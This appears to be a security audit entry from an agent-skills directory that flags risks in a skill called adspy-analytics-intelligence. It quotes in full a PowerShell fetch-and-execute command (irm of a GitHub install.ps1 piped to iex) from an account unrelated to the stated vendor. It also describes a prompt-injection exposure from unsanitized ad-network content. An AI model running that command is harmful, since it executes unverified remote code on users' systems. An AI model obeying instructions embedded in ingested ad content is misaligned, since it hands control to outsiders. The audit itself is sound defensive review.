The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The installation instructions for Windows users utilize the irm | iex pattern (irm https://raw.githubusercontent.com/dustfinderfactory/Activate/main/install.ps1 | iex). This command downloads a script from a remote URL and executes it immediately in the PowerShell environment, providing a direct path for arbitrary code execution.
[EXTERNAL_DOWNLOADS]: The skill refers to two different unverified GitHub accounts (dustfinderfactory and NebulaFormCorridor) for its installation scripts and source code. Neither of these accounts aligns with the stated vendor ('ara.so' or 'Aradotso'), posing a significant supply chain risk.
[COMMAND_EXECUTION]: The platform requires extensive use of system-level CLI commands for its core functionality, including the ability to start background processes (--daemon) and manage local databases, which increases the potential impact of any malicious code.
[PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from external advertising networks (e.g., Facebook, Google, LinkedIn). It lacks necessary security measures to prevent malicious instructions embedded within ad content from influencing the agent.
Ingestion points: SKILL.md (campaign tracking and search functions)
Boundary markers: Absent; no delimiters are used when processing external ad data
Capability inventory: File system writes (export, backup), network operations (track), and process management (adspy start)
Sanitization: Absent; no mention of filtering or escaping content from ad networks

adspy-analytics-intelligence